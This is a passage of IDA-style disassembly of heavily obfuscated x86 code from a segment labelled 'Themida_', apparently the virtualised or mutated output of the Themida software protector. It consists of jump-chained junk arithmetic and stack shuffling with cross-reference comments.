		mov	dl, 9Fh
		add	dl, 39h
		add	al, dl
		pop	edx
		mov	ebx, [esp+3Eh+var_3E]
		add	esp, 4
		sub	al, bl
		push	ebx
		push	ecx
		mov	ch, 32h
		jmp	loc_55EDCB
; ---------------------------------------------------------------------------


loc_553B1B:				; CODE XREF: sub_559C84+345Bj
		pop	ebp
		push	eax
		pop	ebx
		pop	eax
		jmp	loc_55CC92
; ---------------------------------------------------------------------------


loc_553B24:				; CODE XREF: sub_559C84-3B39j
		mov	ebx, [esp+3Ah+var_3A]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55381B
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_553B35:				; CODE XREF: Themida_:005585BBj
		and	ecx, 45432AE4h
		inc	ecx
		jmp	loc_557A92
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_5543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553B51:				; CODE XREF: sub_559C84-1F10j
		pop	ebx
		push	ebp
		jmp	loc_55E767
; ---------------------------------------------------------------------------


loc_553B58:				; CODE XREF: sub_559C84+44E3j
		pop	[esp+3Eh+var_3E]
		pop	ebx
		jmp	loc_558D39
; ---------------------------------------------------------------------------


loc_553B61:				; CODE XREF: sub_559C84+1E3Cj
		pop	ebx
		jmp	loc_55AF88
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_553B67:				; CODE XREF: Themida_:0055F091j
		sub	esp, 4
		jmp	loc_553F87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553B72:				; CODE XREF: sub_559C84-28A7j
		sub	al, 69h
		add	al, 49h
		jmp	loc_556214
; ---------------------------------------------------------------------------


loc_553B7B:				; CODE XREF: sub_559C84-55E2j
		push	ecx
		mov	ecx, 7DFE6DDAh
		sub	esi, ecx
		pop	ecx
		mov	edi, esi
		pop	esi
		jmp	loc_55F3DF
; ---------------------------------------------------------------------------


loc_553B8C:				; CODE XREF: sub_559C84-83Bj
		pop	edi
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], ebx
		jmp	loc_558A7B
; ---------------------------------------------------------------------------


loc_553B9B:				; CODE XREF: sub_559C84+1508j
		push	eax
		mov	ah, ch
		mov	dl, ah
		pop	eax
		pop	ecx
		neg	dl
		push	ecx
		jmp	loc_559161
; ---------------------------------------------------------------------------


loc_553BAA:				; CODE XREF: sub_559C84-64EBj
		mov	ebx, 6083497Ah
		mov	edi, ebx
		pop	ebx
		mov	ecx, 6083497Eh
		sub	ecx, edi
		pop	edi
		add	ebx, ecx
		push	[esp+18h+var_18]
		pop	ecx
		add	esp, 4
		xchg	ebx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		push	3082h
		jmp	loc_556E9D
; ---------------------------------------------------------------------------


loc_553BD3:				; CODE XREF: sub_559C84-44C1j
		mov	edx, 2C5E2048h
		jmp	loc_559254
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, esp
		push	eax
		jmp	loc_55C04E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553BE6:				; CODE XREF: sub_559C84+59D7j
		xchg	ebp, [esp+18h+var_18]
		mov	eax, [esp+18h+var_18]
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edx
		jmp	loc_558DFC
; ---------------------------------------------------------------------------


loc_553BF7:				; CODE XREF: sub_559C84+3B22j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xor	ecx, [esp+18h+var_18]
		xor	[esp+18h+var_18], ecx
		jmp	loc_55C6C8
; ---------------------------------------------------------------------------


loc_553C1E:				; CODE XREF: sub_559C84+3349j
		push	esi
		mov	esi, 36271794h
		mov	edx, 0C9D8E870h
		add	edx, 6A155B24h
		add	edx, esi
		sub	edx, 6A155B24h
		mov	esi, [esp+1Ch+var_1C]
		push	esi
		jmp	loc_55366C
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EB5B


loc_553C40:				; CODE XREF: sub_55EB5B-1DFj
		sub	ax, 76F5h
		pop	esi
		jmp	loc_55BBB4
; END OF FUNCTION CHUNK	FOR sub_55EB5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553C4A:				; CODE XREF: sub_559C84+4058j
		sub	eax, ecx
		push	edi
		mov	edi, 19C621BDh
		sub	eax, edi
		jmp	loc_55CEEF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_553C59:				; CODE XREF: Themida_:005544F6j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		bt	[esp], eax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553C7D:				; CODE XREF: sub_559C84-3844j
		sub	bl, cl
		pop	cx
		add	bl, dh
		add	bl, 59h
		pop	dx
		jmp	loc_55DA03
; ---------------------------------------------------------------------------


loc_553C8D:				; CODE XREF: sub_559C84+43A4j
		neg	edi
		dec	edi
		add	edi, 0DC4534C5h
		mov	ebp, edi
		jmp	loc_55FC1D
; ---------------------------------------------------------------------------


loc_553C9D:				; CODE XREF: sub_559C84+1580j
		pop	ecx
		push	edx
		jmp	loc_5566F4
; ---------------------------------------------------------------------------


loc_553CA4:				; CODE XREF: sub_559C84+3B55j
		mov	[esp+20h+var_20], edx
		jmp	loc_55BB55
; ---------------------------------------------------------------------------


loc_553CAC:				; CODE XREF: sub_559C84+4416j
		pop	eax
		jmp	loc_55C070
; ---------------------------------------------------------------------------


loc_553CB2:				; CODE XREF: sub_559C84+A3Aj
		mov	ebx, [esp+1Ch+var_1C]
		add	esp, 4
		add	ebx, 4AFF1D04h
		jmp	loc_554916
; ---------------------------------------------------------------------------


loc_553CC6:				; CODE XREF: sub_559C84-2C39j
		shl	edi, 6
		not	edi
		sub	edi, 0FFFFFFFFh
		dec	edi
		shr	edi, 6
		sub	edi, 1E09E04h
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esi
		mov	esi, edi
		mov	edx, esi
		push	[esp+1Ch+var_1C]
		pop	esi
		add	esp, 4
		pop	edi
		jmp	loc_55EA69
; ---------------------------------------------------------------------------


loc_553CF2:				; CODE XREF: sub_559C84-37C4j
		mov	edx, edi
		push	ecx
		push	182Eh
		mov	[esp+1Ch+var_1C], edx
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		push	ecx
		sub	[esp+1Ch+var_1C], 0F9124EBh
		pop	eax
		add	eax, 0F9124EBh
		mov	ecx, [esp+18h+var_18]
		jmp	loc_55B296
; ---------------------------------------------------------------------------


loc_553D19:				; CODE XREF: sub_559C84-2881j
		pop	esp
		push	36A6h
		mov	[esp+18h+var_18], edx
		push	ebx
		push	ebp
		mov	ebp, esp
		jmp	loc_5552E4
; ---------------------------------------------------------------------------


loc_553D2B:				; CODE XREF: sub_559C84+24D9j
		sub	edi, 194E5313h
		jmp	loc_55387C
; ---------------------------------------------------------------------------


loc_553D36:				; CODE XREF: sub_559C84+4DE0j
		and	byte ptr [esp+20h+var_20], al
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_553D3F:				; CODE XREF: sub_559C84+3FF8j
		pop	[esp+24h+var_24]
		pop	esp
		mov	[esp+1Ch+var_1C], ebp
		mov	ebp, 40h
		and	ecx, ebp
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_55455B
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_553D58	proc near		; CODE XREF: sub_559C84+602j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00556F1F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055714D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055ECBD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055FC66 SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	dh, 0B1h
		jmp	loc_556F1F
sub_553D58	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553D65:				; CODE XREF: sub_559C84+4841j
		mov	[esp+18h+var_18], esi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		mov	[esp+1Ch+var_1C], esp
		push	edi
		mov	edi, 4
		add	[esp+20h+var_1C], edi
		pop	edi
		pop	esi
		jmp	loc_55CA3A
; ---------------------------------------------------------------------------


loc_553D91:				; CODE XREF: sub_559C84+4585j
		mov	ch, ah
		pop	eax
		add	ch, bl
		jmp	loc_5599F8
; ---------------------------------------------------------------------------


loc_553D9B:				; CODE XREF: sub_559C84+4F3Dj
		neg	eax
		shl	eax, 3
		xor	eax, 4F6134AFh
		jmp	loc_555FC5
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_553DAA:				; CODE XREF: Themida_:0055497Cj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55AD12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553DB5:				; CODE XREF: sub_559C84-5610j
		pop	edx
		push	eax
		mov	eax, 5E4B1DC2h
		xor	edx, eax
		pop	eax
		pop	eax
		add	edi, edx
		pop	edx
		xchg	edi, [esp+8+var_8]
		pop	esp
		mul	cl
		movzx	cx, ah
		push	small 57BCh
		mov	word ptr [esp+6+var_8+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_553DE1:				; CODE XREF: sub_559C84+2BB6j
		xor	eax, 76BF0F52h
		jmp	loc_5589E6
; ---------------------------------------------------------------------------


loc_553DEB:				; CODE XREF: sub_559C84+372j
		mov	ecx, 6F7330A4h
		mov	ebx, 0F925FD99h
		add	ebx, ecx
		pop	ecx
		shr	ebx, 6
		or	ebx, 7FDA47C3h
		sub	ebx, 56C901E6h
		jmp	loc_5560A5
; ---------------------------------------------------------------------------


loc_553E0C:				; CODE XREF: sub_559C84+D6Fj
		add	esp, 4
		jmp	loc_555C1B
; ---------------------------------------------------------------------------


loc_553E14:				; CODE XREF: sub_559C84+1FF1j
		pop	esp
		add	edx, 4
		jmp	loc_55CC1D
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_553E20:				; CODE XREF: Themida_:00558D51j
		push	esp
		pop	esi
		push	2E05h
		mov	[esp], edi
		jmp	loc_554FE3
; ---------------------------------------------------------------------------


loc_553E2F:				; CODE XREF: Themida_:0055DD8Cj
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_55792E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553E3F:				; CODE XREF: sub_559C84+363Ej
		pop	ebx
		push	edi
		mov	edi, esp
		jmp	loc_553FD9
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_553E48	proc near		; DATA XREF: Themida_:00553480o

var_4		= dword	ptr -4

		push	dword ptr [esp+0]
		pop	ecx
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	esp
		jmp	loc_55CFCB
sub_553E48	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55702F


loc_553E5B:				; CODE XREF: sub_55702F+Fj
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5559CE
; END OF FUNCTION CHUNK	FOR sub_55702F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553E6C:				; CODE XREF: sub_559C84+310Cj
		dec	edx
		neg	edx
		jmp	loc_555875
; ---------------------------------------------------------------------------


loc_553E74:				; CODE XREF: sub_559C84-463Aj
		add	eax, edx
		push	edi
		mov	edi, 36456E8Ch
		add	eax, edi
		pop	edi
		sub	eax, 243A0F4Fh
		jmp	loc_55DE0A
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_553E89:				; CODE XREF: Themida_:005589E1j
		add	dword ptr [esp], 4
		pop	eax
		push	7A9h
		mov	[esp], edi
		push	ebx
		push	3CDE4166h
		jmp	loc_55B317
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55590A


loc_553EA1:				; CODE XREF: sub_55590A+6j
		mov	[esp+8+var_8], eax
		mov	eax, 67FA7595h
		mov	ebp, 0F1DEFA37h
		jmp	loc_556F58
; END OF FUNCTION CHUNK	FOR sub_55590A

; =============== S U B	R O U T	I N E =======================================



sub_553EB3	proc near		; DATA XREF: Themida_:005534A8o

var_4		= dword	ptr -4

		mov	ax, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, esp
		push	ecx
		push	ebx
		mov	ebx, 65C3296Bh
		jmp	loc_55BB05
sub_553EB3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553ECB:				; CODE XREF: sub_559C84-453Aj
		shr	ecx, 1
		push	edi
		jmp	loc_55AEE2
; ---------------------------------------------------------------------------


loc_553ED3:				; CODE XREF: sub_559C84-691j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_553EDF:				; CODE XREF: sub_559C84-780j
		xor	edi, ebx
		pop	ebx
		and	ecx, edi
		jmp	loc_55D493
; ---------------------------------------------------------------------------


loc_553EE9:				; CODE XREF: sub_559C84+671j
		add	ecx, ebp
		pop	ebp
		and	eax, ecx
		jmp	loc_55E9E4
; ---------------------------------------------------------------------------


loc_553EF3:				; CODE XREF: sub_559C84-536Cj
		mov	esi, [esp+2+var_4+2]
		add	esp, 4
		jmp	loc_55CE06
; ---------------------------------------------------------------------------


loc_553F01:				; CODE XREF: sub_559C84-2B21j
		add	edx, 4
		jmp	loc_55695D
; ---------------------------------------------------------------------------


loc_553F0C:				; CODE XREF: sub_559C84+1968j
		push	edi
		mov	edi, 7F6F35F4h
		mov	ebp, edi
		pop	edi
		sub	ebp, 759E655Ah
		sub	ebp, 6DD621Bh
		inc	ebp
		sub	ebp, 2F36E7Ch
		push	ebx
		mov	ebx, 25CE6EC1h
		xor	ebx, 466B6095h
		jmp	loc_557DB0
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5597C1


loc_553F39:				; CODE XREF: sub_5597C1+4752j
		shr	eax, 0Ch
		jmp	loc_55F156
; END OF FUNCTION CHUNK	FOR sub_5597C1
; ---------------------------------------------------------------------------


loc_553F41:				; CODE XREF: Themida_:0055999Dj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 281F1D7Eh
		not	edi
		jmp	loc_55BEC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55DC14


loc_553F56:				; CODE XREF: sub_55DC14+9j
		mov	ecx, 3E1C0A55h
		add	ecx, 21B47E1Fh
		and	ecx, 48FD0211h
		and	ecx, 9974195h
		push	edx
		mov	edx, 46762AFDh
		or	ecx, edx
		pop	edx
		jmp	sub_558BA2
; END OF FUNCTION CHUNK	FOR sub_55DC14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553F7B:				; CODE XREF: sub_559C84+5CC1j
		dec	cl
		push	2450h
		jmp	loc_55D2EF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_553F87:				; CODE XREF: Themida_:00553B6Dj
		mov	[esp], ebp
		mov	ebp, 1B2F3BB4h
		jmp	loc_5599A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553F94:				; CODE XREF: sub_559C84-2E7Ej
		sub	bl, 80h
		mov	ah, bl
		mov	ebx, [esp+6+var_8+2]
		add	esp, 4
		jmp	loc_55E6B7
; ---------------------------------------------------------------------------


loc_553FA7:				; CODE XREF: sub_559C84-39AEj
		push	ecx
		mov	ch, 0AAh
		sub	bl, ch
		pop	ecx
		push	edx
		jmp	loc_55CE7D
; ---------------------------------------------------------------------------


loc_553FB3:				; CODE XREF: sub_559C84+43E7j
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_55B61B
; ---------------------------------------------------------------------------


loc_553FBD:				; CODE XREF: sub_559C84+4CC8j
		mov	ebp, esi
		pop	esi
		jmp	loc_558847
; ---------------------------------------------------------------------------


loc_553FC5:				; CODE XREF: sub_559C84-1E11j
		pop	edi
		shl	edx, 2
		jmp	loc_555107
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558D95


loc_553FCE:				; CODE XREF: sub_558D95+Cj
		add	al, 8Fh
		push	small 7F77h
		jmp	loc_55EABE
; END OF FUNCTION CHUNK	FOR sub_558D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_553FD9:				; CODE XREF: sub_559C84-5E41j
		add	edi, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp+0]
		pop	esp
		xchg	bh, ch
		push	bx
		not	byte ptr [esp+1]
		jmp	loc_5540AF
; ---------------------------------------------------------------------------


loc_553FF9:				; CODE XREF: sub_559C84+5824j
		shr	edx, 1
		not	edx
		or	edx, 4B4C271Eh
		add	edx, 16197563h
		sub	esp, 4
		mov	[esp+2+var_4+2], esi
		push	ebp
		mov	ebp, 49A55C87h
		dec	ebp
		add	ebp, 65A336C0h
		dec	ebp
		neg	ebp
		add	ebp, 0FC3EE52Fh
		mov	esi, ebp
		pop	ebp
		shr	esi, 8
		sub	esi, 0D48DF119h
		sub	eax, 56426EBh
		add	eax, esi
		add	eax, 56426EBh
		push	[esp+2+var_4+2]
		pop	esi
		add	esp, 4
		sub	eax, edx
		sub	eax, 2BBF0538h
		pop	edx
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, esp
		push	4DB1h
		mov	[esp+2+var_4+2], ebp
		mov	ebp, 4DB87CA2h
		jmp	loc_559334
; ---------------------------------------------------------------------------


loc_55406C:				; CODE XREF: sub_559C84+54Dj
		add	esp, 4
		add	eax, 0FFFFFFFFh
		xor	eax, 0D1C78FBFh
		sub	[edi+24h], eax
		push	dword ptr [esp+0]
		mov	eax, [esp+2+var_4+2]
		add	esp, 4
		add	esp, 4


loc_55408F:				; CODE XREF: sub_559C84-104Fj
		push	ebx
		add	dword ptr [esp+0], 1AB47669h
		jmp	loc_55E9A8
; ---------------------------------------------------------------------------


loc_55409C:				; CODE XREF: sub_559C84+2CD8j
		shl	dh, 6
		sub	esp, 4
		jmp	loc_55E2AC
; ---------------------------------------------------------------------------


loc_5540A7:				; CODE XREF: sub_559C84+4ECj
		mov	edx, [esp+2+var_4+2]
		jmp	loc_55CA06
; ---------------------------------------------------------------------------


loc_5540AF:				; CODE XREF: sub_559C84-5C90j
		pop	bx
		xchg	bh, ch
		xor	byte ptr [esp-4+arg_0],	ch
		xor	ch, byte ptr [esp-4+arg_0]
		xor	byte ptr [esp-4+arg_0],	ch
		jmp	loc_55A22A
; ---------------------------------------------------------------------------


loc_5540C1:				; CODE XREF: sub_559C84+4DBCj
		push	4635h
		mov	[esp+0], edi
		push	1
		push	[esp+4+var_4]
		pop	edi
		add	esp, 4
		jmp	loc_55F3FE
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557739


loc_5540DA:				; CODE XREF: sub_557739+1Bj
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_55CDBC
; END OF FUNCTION CHUNK	FOR sub_557739
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5540E3:				; CODE XREF: sub_559C84+193Aj
		mov	ebp, [esp+0]
		jmp	loc_55724D
; ---------------------------------------------------------------------------


loc_5540EB:				; CODE XREF: sub_559C84+3E60j
		push	eax
		mov	eax, 2
		push	edi
		jmp	loc_55B948
; ---------------------------------------------------------------------------


loc_5540F7:				; CODE XREF: sub_559C84+2D26j
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_55BA8B
; ---------------------------------------------------------------------------


loc_554102:				; CODE XREF: sub_559C84-3F4Bj
		add	esp, 4
		push	72E8h
		jmp	loc_55CDB4
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E611


loc_55410F:				; CODE XREF: sub_55E611-4B4j
		pop	edx
		mov	eax, edi
		pop	edi
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		mov	ebp, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_55E611
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554124:				; CODE XREF: sub_559C84+1714j
		or	ebp, 131531ACh
		dec	ebp
		not	ebp
		jmp	loc_55D2C7
; ---------------------------------------------------------------------------


loc_554132:				; CODE XREF: sub_559C84+5491j
		push	esp
		jmp	loc_5554BC
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557B99


loc_554138:				; CODE XREF: sub_557B99+Ej
		pop	ebp
		xchg	edi, [esp+0]
		pop	esp
		push	edx
		mov	dl, al
		jmp	loc_55B6CC
; END OF FUNCTION CHUNK	FOR sub_557B99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554145:				; CODE XREF: sub_559C84+41AFj
		add	esi, 76C25830h
		pop	ecx
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		jmp	loc_55EC82
; ---------------------------------------------------------------------------


loc_55415A:				; CODE XREF: sub_559C84+45E2j
		add	al, 9Dh
		add	al, dl
		sub	al, 9Dh
		jmp	loc_557CF0
; ---------------------------------------------------------------------------


loc_554165:				; CODE XREF: sub_559C84-142j
		mov	esi, 2
		add	ebx, 387D46E3h
		sub	ebx, 161474BDh
		add	ebx, esi
		add	ebx, 161474BDh
		jmp	loc_55EB1F
; ---------------------------------------------------------------------------


loc_554183:				; CODE XREF: sub_559C84+3079j
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		jmp	loc_557093
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5591C7


loc_554198:				; CODE XREF: sub_5591C7-786j
		pop	ebx
		push	eax
		mov	eax, 3D294CDCh
		push	edi
		jmp	loc_555414
; END OF FUNCTION CHUNK	FOR sub_5591C7
; ---------------------------------------------------------------------------


loc_5541A5:				; CODE XREF: Themida_:00555B74j
		mov	edx, 7521126Bh
		jmp	loc_55B2FD
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55DAC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5541B8:				; CODE XREF: sub_559C84+40EFj
		push	edi
		sub	esp, 4
		jmp	loc_55A147
; ---------------------------------------------------------------------------


loc_5541C1:				; CODE XREF: sub_559C84-3F9Cj
		dec	eax
		jmp	loc_55DFF6
; ---------------------------------------------------------------------------


loc_5541C7:				; CODE XREF: sub_559C84+9FBj
		xor	[esp+8+var_4], esi
		push	[esp+8+var_8]
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_55A3E5
; ---------------------------------------------------------------------------


loc_5541DC:				; CODE XREF: sub_559C84+2546j
		sub	edx, eax
		pop	eax
		add	ecx, edx
		pop	edx
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		pop	esp
		mov	cx, word ptr [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, esp
		push	eax
		push	esi
		mov	esi, 31E75B36h
		xor	esi, 71884902h
		mov	eax, esi
		pop	esi
		jmp	loc_5569E4
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_554210:				; CODE XREF: Themida_:00558E53j
		pop	ecx
		sub	ax, bx
		sub	ax, 7264h
		push	bx
		sub	esp, 4
		mov	[esp], esi
		mov	si, 688Eh
		not	si
		dec	si
		push	bp
		mov	bp, 75BBh
		sub	si, bp
		pop	bp
		jmp	loc_557A23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E26B


loc_554239:				; CODE XREF: sub_55E26B-A8A7j
		push	2F53h
		mov	[esp+8+var_8], edx
		push	edi
		mov	edi, 4
		mov	edx, edi
		pop	edi
		add	ebp, edx
		jmp	loc_554679
; END OF FUNCTION CHUNK	FOR sub_55E26B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554251:				; CODE XREF: sub_559C84-1E58j
		pop	eax
		mov	edx, esi
		pop	esi
		shr	edx, 3
		sub	edx, 41487958h
		sub	esi, 3D54E23h
		sub	esi, edx
		add	esi, 3D54E23h
		pop	edx
		jmp	loc_55F1FD
; ---------------------------------------------------------------------------


loc_554272:				; CODE XREF: sub_559C84+1B58j
		pop	edi
		pop	[esp-0Ch+arg_8]
		jmp	loc_55ED2D
; ---------------------------------------------------------------------------


loc_55427B:				; CODE XREF: sub_559C84-4C3Ej
		or	ebp, edi
		mov	edi, [esp-10h+arg_C]
		add	esp, 4
		shl	ebp, 2
		add	ebp, 1B301A8Fh
		push	ecx
		mov	ecx, 347CB74Fh
		xor	ebp, ecx
		pop	ecx
		jmp	loc_5561EC
; ---------------------------------------------------------------------------


loc_55429D:				; CODE XREF: sub_559C84-4BC8j
		push	edi
		mov	edi, 4461CBAh
		shr	edi, 7
		add	edi, 397C6386h
		add	edi, 57401691h
		xor	edi, 9891412Eh
		add	eax, edi
		pop	edi
		or	eax, 4AF568AAh
		jmp	loc_553956
; ---------------------------------------------------------------------------


loc_5542C5:				; CODE XREF: sub_559C84-492Cj
		mov	[esp-14h+arg_10], ebp
		jmp	loc_55EA1E
; ---------------------------------------------------------------------------


loc_5542CD:				; CODE XREF: sub_559C84-8B4j
		mov	[esp-14h+arg_10], ebp
		sub	esp, 4
		push	esp
		pop	[esp-0Ch+arg_8]
		add	[esp-10h+arg_C], 4
		pop	ebp
		push	esi
		mov	esi, 5D2A4DC4h
		xor	esi, 5D2A4DC0h
		add	ebp, esi
		mov	esi, [esp-10h+arg_C]
		jmp	loc_55C288
; ---------------------------------------------------------------------------


loc_5542F5:				; CODE XREF: sub_559C84+56DCj
		mov	ecx, [esp-10h+arg_C]
		add	esp, 4
		push	edi
		mov	edi, 64D97443h
		add	edi, 7CC17590h
		shl	edi, 4
		jmp	loc_555947
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_554312:				; CODE XREF: Themida_:0055DD6Bj
		mov	cl, ah
		mov	dl, cl
		mov	ecx, [esp]
		jmp	loc_556A5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55431E:				; CODE XREF: sub_559C84+1BA3j
		push	edx
		mov	edx, 1F246464h
		sub	ecx, 6DDF0B46h
		add	ecx, edx
		add	ecx, 6DDF0B46h
		pop	edx
		pop	edx
		xor	ecx, [esp-14h+arg_10]
		jmp	loc_55CEA9
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557976


loc_55433C:				; CODE XREF: sub_557976-16A8j
		xor	dl, 86h
		neg	dl
		or	dl, 3Ch
		sub	dl, 0C1h
		add	al, dl
		pop	edx
		pop	ebx
		push	eax
		mov	al, 5Fh
		xor	al, 58h
		jmp	loc_5590F8
; END OF FUNCTION CHUNK	FOR sub_557976
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554355:				; CODE XREF: sub_559C84-EA5j
		pop	ebp
		pop	eax
		jmp	loc_559E64
; ---------------------------------------------------------------------------


loc_55435C:				; CODE XREF: sub_559C84+1305j
		mov	cl, 0DAh
		not	cl
		and	cl, 6Bh
		dec	cl
		jmp	loc_55AE44
; ---------------------------------------------------------------------------


loc_55436A:				; CODE XREF: sub_559C84-3A52j
		mov	[esp-1Ch+arg_18], edx
		push	esi
		push	51124BC1h
		pop	esi
		xor	esi, 40361372h
		sub	esi, 1124588Fh
		mov	edx, esi
		pop	esi
		sub	edx, 424A2278h
		add	edx, edi
		add	edx, 424A2278h
		push	ecx
		push	esi
		mov	esi, 0
		mov	ecx, esi
		pop	esi
		add	ecx, 53BE67FDh
		sub	ecx, 4A2A7913h
		add	ecx, edx
		add	ecx, 4A2A7913h
		sub	ecx, 53BE67FDh
		push	edx
		mov	edx, 0
		add	edx, ecx
		add	[edx], eax
		pop	edx
		jmp	loc_554ED2
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5543C5:				; CODE XREF: Themida_:00553B4Cj
		mov	cl, 0A7h
		sub	al, 0F9h
